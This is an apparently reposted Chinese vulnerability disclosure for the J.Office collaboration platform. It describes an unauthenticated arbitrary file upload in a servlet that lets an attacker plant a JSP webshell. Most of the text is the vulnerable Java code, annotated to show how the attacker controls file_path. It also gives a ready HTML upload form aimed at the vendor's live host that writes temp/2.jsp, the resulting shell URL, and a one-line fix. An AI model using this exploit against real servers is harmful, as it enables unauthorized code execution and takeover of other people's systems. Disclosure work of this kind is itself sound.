来源:自学PHP网 时间:2015-04-16 23:15 作者: 阅读:次
[导读] 无需登录 任意文件上传可getshell官网http: www jee-soft cn htsite index html产品J Office 协同办公开发平台产品介绍http: www jee-soft cn htsite html cpjfw cpzx 2012 06 12 1339484245731 html成功案例...
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无需登录 任意文件上传可getshell http://www.jee-soft.cn/htsite/index.html
J.Office 协同办公开发平台
http://www.jee-soft.cn/htsite/html/cpjfw/cpzx/2012/06/12/1339484245731.html
http://www.jee-soft.cn/htsite/page/platformProduct/getProductList.ht
http://office.jee-soft.cn:8080/jasper-upload
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException
{
req.setCharacterEncoding("UTF-8");
resp.setCharacterEncoding("UTF-8");
try
{
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(4096);
factory.setRepository(new File(this.tempPath));
ServletFileUpload fu = new ServletFileUpload(factory);
List fileItems = fu.parseRequest(req);
for (FileItem fi : fileItems) {
if ("file_cat".equals(fi.getFieldName())) {
this.fileCat = fi.getString(); //
}
if ("file_path".equals(fi.getFieldName())) {
this.filePath = fi.getString();//获取文本域的值 上传文件路径可以自己控制
}
}
Iterator i = fileItems.iterator();
while (i.hasNext())
{
FileItem fi = (FileItem)i.next();
String fileContentType = fi.getContentType();
if (fileContentType == null) {
continue;
}
if (fi.getContentType() == null)
{
continue;
}
String path = fi.getName();
int start = path.lastIndexOf("\\");
String fileName = path.substring(start + 1);
String relativeFullPath = null;
String generName = FileUtil.generateFilename(fileName); //随机生成文件名 没大碍 不是关键
int sindex = generName.lastIndexOf("/");
int eindex = generName.lastIndexOf(".");
String generDir = generName.substring(sindex + 1, eindex);
generName = generName.substring(0, sindex) + "/" + generDir +
"/" +
generName.substring(sindex + 1, generName.length());
if (!"".equals(this.filePath)) //这里关键 filepath可以控制 不要为空
relativeFullPath = this.filePath; //走这一步 就不用管随机生成的文件名是什么了
else {
relativeFullPath = this.fileCat + "/" + generName;
}
int index = relativeFullPath.lastIndexOf("/");
File dirPath = new File(this.uploadPath + "/" +
relativeFullPath.substring(0, index + 1));
if (!dirPath.exists()) { //目录不存在可创建
dirPath.mkdirs();
}
File temFile = new File(this.uploadPath + "/" + relativeFullPath); //filepath可以控制 使得任意文件上传
fi.write(temFile); //写文件了
//后面的就不用看了
.........
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>upload</title>
</head>
<body>
<form method="post" action="http://office.jee-soft.cn:8080/jasper-upload" enctype="multipart/form-data" >
<input type="file" name="file" />
<input type="hidden" name="file_cat" value="a" />
<input type="hidden" name="file_path" value="temp/2.jsp" />
<input type="submit" name="tijiao" value="confirm"/>
</form>
</body>
</html>
http://office.jee-soft.cn:8080/attachFiles/temp/2.jsp
修复方案:对filepath写死 防止用户设置 对文件名进行判断 |
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